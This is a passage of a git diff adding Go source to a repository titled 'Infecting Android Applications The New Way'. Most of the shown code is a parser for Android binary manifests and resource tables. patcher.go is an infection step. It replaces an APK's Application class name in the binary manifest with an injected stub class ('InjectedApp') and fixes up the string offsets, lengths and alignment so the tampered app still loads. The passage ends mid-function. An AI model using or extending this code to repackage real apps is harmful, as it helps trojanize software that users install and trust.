return "wallpaperCloseExitAnimation" + case 0x01010299: + return "wallpaperIntraCloseEnterAnimation" + case 0x0101029a: + return "wallpaperIntraCloseExitAnimation" + case 0x01010297: + return "wallpaperIntraOpenEnterAnimation" + case 0x01010298: + return "wallpaperIntraOpenExitAnimation" + case 0x01010293: + return "wallpaperOpenEnterAnimation" + case 0x01010294: + return "wallpaperOpenExitAnimation" + case 0x010102b9: + return "webTextViewStyle" + case 0x01010085: + return "webViewStyle" + case 0x01010348: + return "weekDayTextAppearance" + case 0x01010345: + return "weekNumberColor" + case 0x01010346: + return "weekSeparatorLineColor" + case 0x01010128: + return "weightSum" + case 0x010103c4: + return "widgetCategory" + case 0x010101eb: + return "widgetLayout" + case 0x01010159: + return "width" + case 0x010102cd: + return "windowActionBar" + case 0x010102e4: + return "windowActionBarOverlay" + case 0x010102dd: + return "windowActionModeOverlay" + case 0x010104cd: + return "windowActivityTransitions" + case 0x0101043c: + return "windowAllowEnterTransitionOverlap" + case 0x0101043b: + return "windowAllowReturnTransitionOverlap" + case 0x010100ae: + return "windowAnimationStyle" + case 0x01010054: + return "windowBackground" + case 0x010104ab: + return "windowClipToOutline" + case 0x0101035b: + return "windowCloseOnTouchOutside" + case 0x01010059: + return "windowContentOverlay" + case 0x010103f9: + return "windowContentTransitionManager" + case 0x010103f8: + return "windowContentTransitions" + case 0x01010222: + return "windowDisablePreview" + case 0x01010450: + return "windowDrawsSystemBarBackgrounds" + case 0x01010490: + return "windowElevation" + case 0x01010317: + return "windowEnableSplitTouch" + case 0x010100b4: + return "windowEnterAnimation" + case 0x01010437: + return "windowEnterTransition" + case 0x010100b5: + return "windowExitAnimation" + case 0x01010438: + return "windowExitTransition" + case 0x01010055: + return "windowFrame" + case 0x0101020d: + return "windowFullscreen" + case 0x010100b7: + return "windowHideAnimation" + case 0x01010057: + return "windowIsFloating" + case 0x01010058: + return "windowIsTranslucent" + case 0x010104e0: + return "windowLightStatusBar" + case 0x01010356: + return "windowMinWidthMajor" + case 0x01010357: + return "windowMinWidthMinor" + case 0x0101021e: + return "windowNoDisplay" + case 0x01010056: + return "windowNoTitle" + case 0x010103cf: + return "windowOverscan" + case 0x010104af: + return "windowReenterTransition" + case 0x010104ae: + return "windowReturnTransition" + case 0x01010439: + return "windowSharedElementEnterTransition" + case 0x0101043a: + return "windowSharedElementExitTransition" + case 0x010104b1: + return "windowSharedElementReenterTransition" + case 0x010104b0: + return "windowSharedElementReturnTransition" + case 0x010104bb: + return "windowSharedElementsUseOverlay" + case 0x010100b6: + return "windowShowAnimation" + case 0x01010292: + return "windowShowWallpaper" + case 0x0101022b: + return "windowSoftInputMode" + case 0x010103f3: + return "windowSwipeToDismiss" + case 0x0101005c: + return "windowTitleBackgroundStyle" + case 0x0101005a: + return "windowTitleSize" + case 0x0101005b: + return "windowTitleStyle" + case 0x01010461: + return "windowTransitionBackgroundFadeDuration" + case 0x010103f0: + return "windowTranslucentNavigation" + case 0x010103ef: + return "windowTranslucentStatus" + case 0x01010008: + return "writePermission" + case 0x010100ac: + return "x" + case 0x010102bf: + return "xlargeScreens" + case 0x010100ad: + return "y" + case 0x01010499: + return "yearListItemTextAppearance" + case 0x0101049a: + return "yearListSelectorColor" + case 0x01010090: + return "yesNoPreferenceStyle" + case 0x010101c1: + return "zAdjustment" + case 0x0101054c: + return "targetSandboxVersion" + default: + return "" + } +} diff --git a/Infecting Android Applications The New Way/master/manifest/binxml.go b/Infecting Android Applications The New Way/master/manifest/binxml.go new file mode 100644 index 0000000..2801ca9 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/binxml.go @@ -0,0 +1,375 @@ +package manifest + +import ( + "bytes" + "encoding/binary" + "encoding/xml" + "errors" + "fmt" + "io" + "io/ioutil" + "strconv" + "strings" + "unsafe" +) + +type binxmlParseInfo struct { + strings stringTable + resourceIds []uint32 + + encoder ManifestEncoder + res *ResourceTable +} + +// Some samples have manifest in plaintext, this is an error. +// 2c882a2376034ed401be082a42a21f0ac837689e7d3ab6be0afb82f44ca0b859 +var ErrPlainTextManifest = errors.New("xml is in plaintext, binary form expected") + +// Deprecated: just calls ParseXML +func ParseManifest(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error { + return ParseXml(r, enc, resources) +} + +// the main purpose of this reader is to +// count number of bytes readed after parsing string table +// so we can calc offset to the end of the string table +type myReader struct { + read int + r io.Reader +} + +type myRead interface { + GetRead() int +} + +func (mr *myReader) Read(p []byte) (n int, err error) { + n, err = mr.r.Read(p) + mr.read += n + return +} + +func (mr *myReader) GetRead() int { + return mr.read +} + +// Parse the binary Xml format. The resources are optional and can be nil. +func ParseXml(r io.Reader, enc ManifestEncoder, resources *ResourceTable) error { + x := binxmlParseInfo{ + encoder: enc, + res: resources, + } + + id, headerLen, totalLen, err := parseChunkHeader(r) + if err != nil { + return err + } + //check if manifest is binary not plaintext + if (id & 0xFF) == '<' { + buf := bytes.NewBuffer(make([]byte, 0, 8)) + binary.Write(buf, binary.LittleEndian, &id) + binary.Write(buf, binary.LittleEndian, &headerLen) + binary.Write(buf, binary.LittleEndian, &totalLen) + + if s := buf.String(); strings.HasPrefix(s, "> 16) - 1 + attrCnt = (attrCnt & 0xFFFF) + + styleAttrIdx := (classAttrIdx >> 16) - 1 + classAttrIdx = (classAttrIdx & 0xFFFF) + + _ = styleAttrIdx + _ = idAttributeIdx + + namespace, err := x.strings.get(namespaceIdx) + if err != nil { + return fmt.Errorf("error decoding namespace: %s", err.Error()) + } + + name, err := x.strings.get(nameIdx) + if err != nil { + return fmt.Errorf("error decoding name: %s", err.Error()) + } + + tok := xml.StartElement{ + Name: xml.Name{Local: name, Space: namespace}, + } + + var attrData [attrValuesCount]uint32 + for i := uint32(0); i < attrCnt; i++ { + if err := binary.Read(r, binary.LittleEndian, &attrData); err != nil { + return fmt.Errorf("error reading attrData: %s", err.Error()) + } + + // Android actually reads attributes purely by their IDs (see frameworks/base/core/res/res/values/attrs_manifest.xml + // and its generated R class, that's where the indexes come from, namely the AndroidManifestActivity array) + // but good guy android actually puts the strings into the string table on the same indexes anyway, most of the time. + // This is for the samples that don't have it, mostly due to obfuscators/minimizers. + // The ID can't change, because it would break current APKs. + // Sample: 98d2e837b8f3ac41e74b86b2d532972955e5352197a893206ecd9650f678ae31 + // + // The exception to this rule is the "package" attribute in the root manifest tag. That one MUST NOT use + // resource ids, instead, it needs to use the string table. The meta attrs 'platformBuildVersion*' + // are the same, except Android never parses them so it's just for manual analysis. + // Sample: a3ee88cf1492237a1be846df824f9de30a6f779973fe3c41c7d7ed0be644ba37 + // + // In general, android doesn't care about namespaces, but if a resource ID is used, it has to have been + // in the android: namespace, so we fix that up. + + // frameworks/base/core/jni/android_util_AssetManager.cpp android_content_AssetManager_retrieveAttributes + // frameworks/base/core/java/android/content/pm/PackageParser.java parsePackageSplitNames + var attrName string + if attrData[attrIdxName] < uint32(len(x.resourceIds)) { + attrName = getAttributteName(x.resourceIds[attrData[attrIdxName]]) + } + + var attrNameFromStrings string + if attrName == "" || name == "manifest" { + attrNameFromStrings, err = x.strings.get(attrData[attrIdxName]) + if err != nil { + if attrName == "" { + return fmt.Errorf("error decoding attrNameIdx: %s", err.Error()) + } + } else if attrName != "" && attrNameFromStrings != "package" && !strings.HasPrefix(attrNameFromStrings, "platformBuildVersion") { + attrNameFromStrings = "" + } + } + + attrNameSpace, err := x.strings.get(attrData[attrIdxNamespace]) + if err != nil { + return fmt.Errorf("error decoding attrNamespaceIdx: %s", err.Error()) + } + + if attrNameFromStrings != "" { + attrName = attrNameFromStrings + } else if attrNameSpace == "" { + attrNameSpace = "http://schemas.android.com/apk/res/android" + } + + attr := xml.Attr{ + Name: xml.Name{Local: attrName, Space: attrNameSpace}, + } + + switch attrData[attrIdxType] >> 24 { + case AttrTypeString: + attr.Value, err = x.strings.get(attrData[attrIdxString]) + if err != nil { + return fmt.Errorf("error decoding attrStringIdx: %s", err.Error()) + } + case AttrTypeIntBool: + attr.Value = strconv.FormatBool(attrData[attrIdxData] != 0) + case AttrTypeIntHex: + attr.Value = fmt.Sprintf("0x%x", attrData[attrIdxData]) + case AttrTypeFloat: + val := (*float32)(unsafe.Pointer(&attrData[attrIdxData])) + attr.Value = fmt.Sprintf("%g", *val) + case AttrTypeReference: + isValidString := false + if x.res != nil { + var e *ResourceEntry + if attr.Name.Local == "icon" || attr.Name.Local == "roundIcon" { + e, err = x.res.GetIconPng(attrData[attrIdxData]) + } else { + e, err = x.res.GetResourceEntry(attrData[attrIdxData]) + } + + if err == nil { + attr.Value, err = e.value.String() + isValidString = err == nil + } + } + + if !isValidString && attr.Value == "" { + attr.Value = fmt.Sprintf("@%x", attrData[attrIdxData]) + } + default: + attr.Value = strconv.FormatInt(int64(int32(attrData[attrIdxData])), 10) + } + tok.Attr = append(tok.Attr, attr) + } + + return x.encoder.EncodeToken(tok) +} + +func (x *binxmlParseInfo) parseTagEnd(r *io.LimitedReader) error { + var namespaceIdx, nameIdx uint32 + if err := binary.Read(r, binary.LittleEndian, &namespaceIdx); err != nil { + return fmt.Errorf("error reading namespace idx: %s", err.Error()) + } + + if err := binary.Read(r, binary.LittleEndian, &nameIdx); err != nil { + return fmt.Errorf("error reading name idx: %s", err.Error()) + } + + namespace, err := x.strings.get(namespaceIdx) + if err != nil { + return fmt.Errorf("error decoding namespace: %s", err.Error()) + } + + name, err := x.strings.get(nameIdx) + if err != nil { + return fmt.Errorf("error decoding name: %s", err.Error()) + } + + return x.encoder.EncodeToken(xml.EndElement{Name: xml.Name{Local: name, Space: namespace}}) +} + +func (x *binxmlParseInfo) parseText(r *io.LimitedReader) error { + var idx uint32 + if err := binary.Read(r, binary.LittleEndian, &idx); err != nil { + return fmt.Errorf("error reading idx: %s", err.Error()) + } + + text, err := x.strings.get(idx) + if err != nil { + return fmt.Errorf("error decoding idx: %s", err.Error()) + } + + if _, err := io.CopyN(ioutil.Discard, r, 2*4); err != nil { + return fmt.Errorf("error skipping: %s", err.Error()) + } + + return x.encoder.EncodeToken(xml.CharData(text)) +} diff --git a/Infecting Android Applications The New Way/master/manifest/common.go b/Infecting Android Applications The New Way/master/manifest/common.go new file mode 100644 index 0000000..5405ef8 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/common.go @@ -0,0 +1,67 @@ +package manifest + +import ( + "encoding/binary" + "io" +) + +const ( + chunkNull = 0x0000 + chunkStringTable = 0x0001 + chunkTable = 0x0002 + chunkAxmlFile = 0x0003 + chunkResourceIds = 0x0180 + chunkTablePackage = 0x0200 + chunkTableType = 0x0201 + chunkTableTypeSpec = 0x0202 + chunkTableLibrary = 0x0203 + + chunkMaskXml = 0x0100 + chunkXmlNsStart = 0x0100 + chunkXmlNsEnd = 0x0101 + chunkXmlTagStart = 0x0102 + chunkXmlTagEnd = 0x0103 + chunkXmlText = 0x0104 + + attrIdxNamespace = 0 + attrIdxName = 1 + attrIdxString = 2 + attrIdxType = 3 + attrIdxData = 4 + attrValuesCount = 5 + + chunkHeaderSize = (2 + 2 + 4) +) + +type AttrType uint8 + +const ( + AttrTypeNull AttrType = 0x00 + AttrTypeReference = 0x01 + AttrTypeAttribute = 0x02 + AttrTypeString = 0x03 + AttrTypeFloat = 0x04 + AttrTypeIntDec = 0x10 + AttrTypeIntHex = 0x11 + AttrTypeIntBool = 0x12 + AttrTypeIntColorArgb8 = 0x1c + AttrTypeIntColorRgb8 = 0x1d + AttrTypeIntColorArgb4 = 0x1e + AttrTypeIntColorRgb4 = 0x1f +) + +func parseChunkHeader(r io.Reader) (id, headerLen uint16, len uint32, err error) { + if err = binary.Read(r, binary.LittleEndian, &id); err != nil { // id + + return + } + + if err = binary.Read(r, binary.LittleEndian, &headerLen); err != nil { //header + return + } + + if err = binary.Read(r, binary.LittleEndian, &len); err != nil { + return + } + return +} diff --git a/Infecting Android Applications The New Way/master/manifest/encoder.go b/Infecting Android Applications The New Way/master/manifest/encoder.go new file mode 100644 index 0000000..e2f85e4 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/encoder.go @@ -0,0 +1,16 @@ +package manifest + +import ( + "encoding/xml" + "errors" +) + +// Return this error from EncodeToken to tell apkparser to finish parsing, +// to be used when you found the value you care about and don't need the rest. +var ErrEndParsing = errors.New("end manifest parsing") + +// Encoder for writing the XML data. For example Encoder from encoding/xml matches this interface. +type ManifestEncoder interface { + EncodeToken(t xml.Token) error + Flush() error +} diff --git a/Infecting Android Applications The New Way/master/manifest/patcher.go b/Infecting Android Applications The New Way/master/manifest/patcher.go new file mode 100644 index 0000000..8574e1f --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/patcher.go @@ -0,0 +1,300 @@ +package manifest + +import ( + "bytes" + "common" + "encoding/binary" + "encoding/xml" + "golang.org/x/text/encoding/unicode" + "io/ioutil" + "log" + "path/filepath" +) + +const ( + fileLenOffset = 0x4 + offsetTableOffset = 0x24 + offsetStringTableLen = 0xc + stringTableInfoSizeOffset = 0x1c + + // Name of application in our stub dex + // It is MUST be longer than any average name + newAppNameUTF8 = "aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp" + newAppNameUTF8Len = uint8(len(newAppNameUTF8)) +) + +var alignCount uint32 +var oldAppNameUTF16 string +var newAppNameUTF16 string +var OldAppNameUTF8 string +var PlainPath, _ = filepath.Abs("AndroidManifest_plaintext.xml") + +func patchApplication() ([]byte, int) { + + log.Printf("Getting original application name...") + OldAppNameUTF8 = getAppName() + log.Printf("Original applciation name = %s\n", OldAppNameUTF8) + + if OldAppNameUTF8 == "" { + log.Panic("Application name wasn't found") + //TODO if not found - we should add our + } + + // read bytes from binary xml + androidManifestRaw, err := ioutil.ReadFile(common.ManifestBinaryPath) + if err != nil { + log.Panicf("Failed to read %s", common.ManifestBinaryPath) + } + + log.Printf("Original manifest (binary) size = 0x%0x\n", len(androidManifestRaw)) + + // encode name to UTF-16 + encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder() + oldAppNameUTF16, err = encoder.String(OldAppNameUTF8) + + // searching application name position in binary manifest + pos := bytes.Index(androidManifestRaw, []byte(oldAppNameUTF16)) + + //get lenght of string + originalLen := int(androidManifestRaw[pos-2]) * 2 + + log.Printf("pos = 0x%0x, original applciation name length = 0x%0x\n", pos, originalLen) + + //patch length with new value. length = characters count + // pos-2 - because every string is followed by len + androidManifestRaw[pos-2] = newAppNameUTF8Len + + //patch application name with new name + // do not forget about alignment! + newAppNameUTF16, err = encoder.String(newAppNameUTF8) + newAppNameUTF16Len := len(newAppNameUTF16) + + // how many bytes we add to manifest + lenDiff := newAppNameUTF16Len - originalLen + + //// we need enough space to insert our name + androidManifestRawNew := make([]byte, len(androidManifestRaw)+newAppNameUTF16Len-originalLen) + + log.Printf("new applciation name = %s, new application length = 0x%0x\n", + newAppNameUTF8, newAppNameUTF16Len) + + // copy everything until application name string + copy(androidManifestRawNew, androidManifestRaw[:pos]) + + // copy our name + copy(androidManifestRawNew[pos:], []byte(newAppNameUTF16)) + + // copy everything after name + copy(androidManifestRawNew[pos+len([]byte(newAppNameUTF16)):], androidManifestRaw[pos+originalLen:]) + + // calc position where we should insert alignment bytes + alignPos := (newAppNameUTF16Len - originalLen) + StringTableEndPos + + log.Printf("alignPos = 0x%0x\n", alignPos) + + // how many bytes we should insert? + // The main idea - data after string table should be + // aligned to 4 bytes + alignCount = uint32(alignPos % 4) + + log.Printf("align = %d\n", alignCount) + + if alignCount != 0 { + var alignSlice = make([]byte, alignCount) + + // insert byte alignment + androidManifestRawNew = append(androidManifestRawNew[:alignPos], append(alignSlice, androidManifestRawNew[alignPos:]...)...) + + } + + return androidManifestRawNew, lenDiff +} + +// we should find from what offset in StringOffsets +// we should start changing offsets by incrementing them to +// number of characters application name expanded +// manifest_strings.dmp contains all strings +// we should count strings after application name +// it will be position of offset + +func getAppNameOffset() uint32 { + + // position in string offset + //var appNameOff uint32 = 1 + var pos uint32 + + data, err := ioutil.ReadFile(ManifestStringsDmp) + if err != nil { + panic(err) + } + + // searching application name position in string dump + // we substract 2 because real offset is the offset to strLen + str + // but we found offset to just str + pos = uint32(bytes.Index(data, []byte(oldAppNameUTF16)) - 2) + + log.Printf("application name position in string dump = 0x%x", pos) + + return pos +} + +func patchOffsetTable(data []byte, appNameOff, lenDiff uint32) { + + var offset uint32 + + offsetTableReader := bytes.NewReader(data) + + var j uint32 = 0 + for i := uint32(1); i <= StringCnt - appNameOff; i++ { + + //read offset + err := binary.Read(offsetTableReader, binary.LittleEndian, &offset) + if err != nil { + log.Panic("Failed to read offset", err) + } + + log.Printf("Original offset = 0x%x", offset) + + //increment it to length of symbol added + offset += lenDiff + + log.Printf("New offset = 0x%x", offset) + + binary.LittleEndian.PutUint32(data[j:], offset) + j += 4 + } +} + +func patchStringTableLen(data []byte) { + + var stringTableLen uint32 + + stringTableLenReader := bytes.NewReader(data) + + err := binary.Read(stringTableLenReader, binary.LittleEndian, &stringTableLen) + if err != nil { + log.Panic("Failed to read offset", err) + } + + // calc how many bytes we added to manifest + // it's a difference between new name and old name + // *2 - because they are in UTF-16 + // IMPORTANT! stringTableLen - must be 4 byte aligned + newLen := len(newAppNameUTF16) + oldLen := len(oldAppNameUTF16) + stringTableLenNew := uint32(int(stringTableLen) + newLen - oldLen) + + // align + stringTableLenNew += alignCount + + binary.LittleEndian.PutUint32(data, stringTableLenNew) +} + +func Patch() { + + var androidManifestRaw, lenDiff = patchApplication() + + log.Printf("New manifest len = 0x%0x\n", len(androidManifestRaw)) + + // after we insert new application name we need to increase length of manifest len + binary.LittleEndian.PutUint32(androidManifestRaw[fileLenOffset:], uint32(len(androidManifestRaw))) + + var appNameOff = getAppNameOffset() + + // search offset in manifest + appNameOffArr := make([]byte, 4) + binary.LittleEndian.PutUint32(appNameOffArr, appNameOff) + + pos := uint32(bytes.Index(androidManifestRaw, appNameOffArr)) + + log.Printf("application name offset in manifest = 0x%x", pos) + + // we step to next offset after our found app name offset + pos += 4 + + // locate the end of stringTableOffset (equals to the start of strings) + var stringTableInfoSize uint32 + var stringOffsetTableEnd uint32 + + stringTableInfoSizeReader := bytes.NewReader(androidManifestRaw[stringTableInfoSizeOffset:]) + + err := binary.Read(stringTableInfoSizeReader, binary.LittleEndian, &stringTableInfoSize) + if err != nil { + log.Panic("Failed to read offset", err) + } + + log.Printf("stringTableInfoSize = 0x%x", stringTableInfoSize) + + // 0x8 - start of StringTableInfo section + stringOffsetTableEnd = 0x8 + stringTableInfoSize + + log.Printf("stringOffsetTableEnd = 0x%x", stringOffsetTableEnd) + + //start reading & patching + offsetTableReader := bytes.NewReader(androidManifestRaw[pos:]) + + var j = pos + var offset uint32 + for i := pos; i < stringOffsetTableEnd; { + + //read offset + err := binary.Read(offsetTableReader, binary.LittleEndian, &offset) + if err != nil { + log.Panic("Failed to read offset", err) + } + + //log.Printf("Original offset = 0x%x", offset) + + //increment it to length of symbol added + offset += uint32(lenDiff) + + //log.Printf("New offset = 0x%x", offset) + + //patch with new value + binary.LittleEndian.PutUint32(androidManifestRaw[j:], offset) + j += 4 + i += 4 + } + + patchStringTableLen(androidManifestRaw[offsetStringTableLen:]) + + common.WriteChanges(androidManifestRaw, common.ManifestBinaryPath) +} + +// Search application name in decoded android manifest +func getAppName() string { + + // read manifest to byte array + content, err := ioutil.ReadFile(PlainPath) + if err != nil { + panic(err) + } + + //defer func() { + // err = os.Remove(manifestPlainPath) + // + // if err != nil { + // panic(err) + // } + //} () + + // structs for XML nodes + type Application struct { + Name string `xml:"name,attr"` + } + + type Result struct { + XMLName xml.Name `xml:"manifest"` + Application Application `xml:"application"` + } + + v := new(Result) + + err = xml.Unmarshal(content, v) + if err != nil { + log.Panic("Failed to unmarshal XML", err) + return "" + } + + return v.Application.Name +} diff --git a/Infecting Android Applications The New Way/master/manifest/resources.go b/Infecting Android Applications The New Way/master/manifest/resources.go new file mode 100644 index 0000000..9778477 --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/resources.go @@ -0,0 +1,682 @@ +package manifest + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + "io/ioutil" + "log" + "math" + "strings" + "unicode/utf16" +) + +var ErrUnknownResourceDataType = errors.New("Unknown resource data type") + +// Contains parsed resources.arsc file. +type ResourceTable struct { + mainStrings stringTable + nextPackageId uint32 + packages map[uint32]*packageGroup +} + +type packageGroup struct { + Name string + Id uint32 + Packages []*resourcePackage + + table *ResourceTable + largestTypeId uint8 + types map[uint8][]resourceTypeSpec +} + +type resourcePackage struct { + Id uint32 + Name string + + typeIdOffset uint32 + typeStrings stringTable + keyStrings stringTable +} + +type resourceTypeSpec struct { + Id uint8 + Entries []uint32 + Package *resourcePackage + + Configs []*resourceType +} + +type resourceType struct { + chunkData []byte + entryCount uint32 + entriesStart uint32 + indexesStart uint32 + + // ResTable_config config; +} + +const ( + tableEntryComplex = 0x0001 + tableEntryPublic = 0x0002 + tableEntryWeak = 0x0004 +) + +// Describes one resource entry, for example @drawable/icon in the original XML, in one particular config option. +type ResourceEntry struct { + size uint16 + flags uint16 + + ResourceType string + Key string + Package string + + value ResourceValue +} + +// Handle to the resource's actual value. +type ResourceValue struct { + dataType AttrType + data uint32 + + globalStringTable *stringTable + convertedData interface{} +} + +// Resource config option to pick from options - when @drawable/icon is referenced, +// use /res/drawable-xhdpi/icon.png or use /res/drawable-mdpi/icon.png? +// +// This is not fully implemented, so you can pick only first seen or last seen option. +type ResourceConfigOption int + +const ( + ConfigFirst ResourceConfigOption = iota // Usually the smallest + ConfigLast // Usually the biggest + + // Try to find the biggest png icon, otherwise same as ConfigLast. + // + // Deprecated: use GetIconPng + ConfigPngIcon +) + +// Parses the resources.arsc file +func ParseResourceTable(r io.Reader) *ResourceTable { + res := ResourceTable{ + nextPackageId: 2, + packages: make(map[uint32]*packageGroup), + } + + id, hdrLen, totalLen, err := parseChunkHeader(r) + if err != nil { + log.Panic("parseChunkHeader() failed", err) + } + + var packageCurrent, packagesCnt uint32 + if err = binary.Read(r, binary.LittleEndian, &packagesCnt); err != nil { + log.Panic("Failed to read packagesCnt", err) + } + + if hdrLen < chunkHeaderSize+4 { + log.Panicf("Invalid header length: %d", hdrLen) + } + + totalLen -= uint32(hdrLen) + hdrLen -= chunkHeaderSize + 4 + + if _, err = io.CopyN(ioutil.Discard, r, int64(hdrLen)); err != nil { + log.Panic("Failed to read header padding: %s", err.Error()) + } + + var len uint32 + var lastId uint16 + for i := uint32(0); i < totalLen; i += len { + id, hdrLen, len, err = parseChunkHeader(r) + if err != nil { + log.Panicf("Error parsing header at 0x%08x of 0x%08x %08x: %s", i, totalLen, lastId, err.Error()) + } + + lastId = id + + lm := &io.LimitedReader{R: r, N: int64(len) - chunkHeaderSize} + + switch id { + case chunkStringTable: + if res.mainStrings.isEmpty() { + res.mainStrings, err = parseStringTable(lm) + } + case chunkTablePackage: + if packageCurrent >= packagesCnt { + log.Panicf("Chunk: 0x%08x: Too many package chunks", id) + } + + err = res.parsePackage(lm, hdrLen) + packageCurrent++ + default: + err = fmt.Errorf("Unknown chunk: 0x%08x at %d.", id, i+chunkHeaderSize+4) + //_, err = io.CopyN(ioutil.Discard, lm, lm.N) + } + + if err != nil { + log.Panicf("Chunk: 0x%08x: %s", id, err.Error()) + } else if lm.N != 0 { + log.Panicf("Chunk: 0x%08x: was not fully read", id) + } + } + return &res +} + +func (x *ResourceTable) parsePackage(r *io.LimitedReader, hdrLen uint16) error { + pkgBlock, err := ioutil.ReadAll(r) + if err != nil { + return fmt.Errorf("error reading package block: %s", err.Error()) + } + + pkgReader := bytes.NewReader(pkgBlock) + + const valsSize = chunkHeaderSize + 4 + 2*128 + 4*5 + vals := struct { + Id uint32 + Name [128]uint16 + TypeStrings uint32 + LastPublicType uint32 + KeyStrings uint32 + LastPublicKey uint32 + TypeIdOffset uint32 + }{} + + if err := binary.Read(pkgReader, binary.LittleEndian, &vals); err != nil { + return fmt.Errorf("error reading values: %s", err.Error()) + } + + if vals.Id >= 256 { + return fmt.Errorf("package id out of range: %d", vals.Id) + } + + if vals.Id == 0 { + vals.Id = x.nextPackageId + x.nextPackageId++ + } + + pkg := &resourcePackage{ + Id: vals.Id, + } + + // TypeIdOffset was added later and may not be present (frameworks/base@f90f2f8dc36e7243b85e0b6a7fd5a590893c827e) + if hdrLen >= valsSize { + pkg.typeIdOffset = vals.TypeIdOffset + } + + pkg.Name = string(utf16.Decode(vals.Name[:])) + if idx := strings.IndexRune(pkg.Name, 0); idx != -1 { + pkg.Name = pkg.Name[:idx] + } + + if vals.TypeStrings < chunkHeaderSize || vals.KeyStrings <= chunkHeaderSize { + return fmt.Errorf("Invalid strings offset: %d %d", vals.TypeStrings, vals.KeyStrings) + } + + vals.TypeStrings -= chunkHeaderSize + vals.KeyStrings -= chunkHeaderSize + + if _, err := pkgReader.Seek(int64(vals.TypeStrings), io.SeekStart); err != nil { + return err + } + + if pkg.typeStrings, err = parseStringTableWithChunk(pkgReader); err != nil { + return err + } + + if _, err := pkgReader.Seek(int64(vals.KeyStrings), io.SeekStart); err != nil { + return err + } + + if pkg.keyStrings, err = parseStringTableWithChunk(pkgReader); err != nil { + return err + } + + group, prs := x.packages[pkg.Id] + if !prs { + group = &packageGroup{ + Id: pkg.Id, + Name: pkg.Name, + table: x, + types: make(map[uint8][]resourceTypeSpec), + } + x.packages[pkg.Id] = group + + /* + // Find all packages that reference this package + size_t N = mpackageGroups.size(); + for (size_t i = 0; i < N; i++) { + mpackageGroups[i]->dynamicRefTable.addMapping( + group->name, static_cast(group->id)); + } + */ + } + + group.Packages = append(group.Packages, pkg) + + if _, err := pkgReader.Seek(int64(hdrLen-chunkHeaderSize), io.SeekStart); err != nil { + return err + } + + for { + chunkStartOffset, _ := pkgReader.Seek(0, io.SeekCurrent) + + id, hdrLen, totalLen, err := parseChunkHeader(pkgReader) + if err == io.EOF { + break + } else if err != nil { + return fmt.Errorf("Error parsing package internal header: %s", err.Error()) + } + + // Sample: 7e97541191621e72bd794b5b2d60eb2f68669ea8782421e54ec719ccda06c8a4 + if chunkStartOffset+int64(totalLen) >= int64(len(pkgBlock)) { + totalLen = uint32(int64(len(pkgBlock)) - chunkStartOffset) + } + + lm := &io.LimitedReader{R: pkgReader, N: int64(totalLen) - chunkHeaderSize} + + switch id { + case chunkTableTypeSpec: + err = x.parseTypeSpec(lm, pkg, group) + case chunkTableType: + block := pkgBlock[chunkStartOffset : chunkStartOffset+int64(totalLen)] + if err = x.parseType(lm, pkg, group, block, hdrLen); err != nil { + break + } + fallthrough + default: + _, err = io.CopyN(ioutil.Discard, lm, lm.N) + } + + if err != nil { + return fmt.Errorf("Chunk: 0x%08x: %s", id, err.Error()) + } else if lm.N != 0 { + return fmt.Errorf("Chunk: 0x%08x: was not fully read", id) + } + } + + return nil +} + +func (x *ResourceTable) parseTypeSpec(r io.Reader, pkg *resourcePackage, group *packageGroup) error { + var id uint8 + if err := binary.Read(r, binary.LittleEndian, &id); err != nil { + return fmt.Errorf("Failed to read type spec id: %s", err.Error()) + } + + if id == 0 { + return fmt.Errorf("Invalid type spec id: %d", id) + } + + if _, err := io.CopyN(ioutil.Discard, r, 1+2); err != nil { + return fmt.Errorf("Failed to skip padding: %s", err.Error()) + } + + var entryCount uint32 + if err := binary.Read(r, binary.LittleEndian, &entryCount); err != nil { + return fmt.Errorf("Failed to read entryCount: %s", err.Error()) + } + + if entryCount > 0 { + var entries []uint32 + for i := uint32(0); i < entryCount; i++ { + var e uint32 + if err := binary.Read(r, binary.LittleEndian, &e); err != nil { + return fmt.Errorf("Failed to read type spec entry: %s", err.Error()) + } + entries = append(entries, e) + } + + group.types[id] = append(group.types[id], resourceTypeSpec{ + Id: id, + Entries: entries, + Package: pkg, + }) + + if id > group.largestTypeId { + group.largestTypeId = id + } + } + return nil +} + +func (x *ResourceTable) parseType(r io.Reader, pkg *resourcePackage, group *packageGroup, chunkData []byte, hdrLen uint16) error { + vals := struct { + Id uint8 + Res0 uint8 + Res1 uint16 + + EntryCount uint32 + EntriesStart uint32 + + //ResTable_config config; + }{} + + if err := binary.Read(r, binary.LittleEndian, &vals); err != nil { + return fmt.Errorf("error reading values: %s", err.Error()) + } + + if vals.Id == 0 { + return fmt.Errorf("Invalid type id: %d", vals.Id) + } + + if vals.EntryCount > 0 { + typeList := group.types[vals.Id] + if len(typeList) == 0 { + return fmt.Errorf("No spec entry for type %d", vals.Id) + } + + i := len(typeList) - 1 + typeList[i].Configs = append(typeList[i].Configs, &resourceType{ + chunkData: chunkData, + entryCount: vals.EntryCount, + entriesStart: vals.EntriesStart, + indexesStart: uint32(hdrLen), + }) + } + return nil +} + +// Converts the resource id to readable name including the package name like "@drawable:com.example.app.icon". +func (x *ResourceTable) GetResourceName(resId uint32) (string, error) { + pkgId := (resId >> 24) + typ := ((resId >> 16) & 0xFF) - 1 + entryId := (resId & 0xFFFF) + + group := x.packages[pkgId] + if group == nil { + return "", fmt.Errorf("Invalid package identifier.") + } + + entry, err := x.getEntry(group, typ, entryId, ConfigFirst) + if err != nil { + return "", err + } + + return fmt.Sprintf("@%s:%s.%s", entry.ResourceType, group.Name, entry.Key), nil +} + +// Returns the resource entry for resId and the first configuration option it finds. +func (x *ResourceTable) GetResourceEntry(resId uint32) (*ResourceEntry, error) { + return x.GetResourceEntryEx(resId, ConfigFirst) +} + +// Returns the resource entry for resId and config configuration option. +func (x *ResourceTable) GetResourceEntryEx(resId uint32, config ResourceConfigOption) (*ResourceEntry, error) { + if config == ConfigPngIcon { + return x.GetIconPng(resId) + } + + pkgId := (resId >> 24) + typ := ((resId >> 16) & 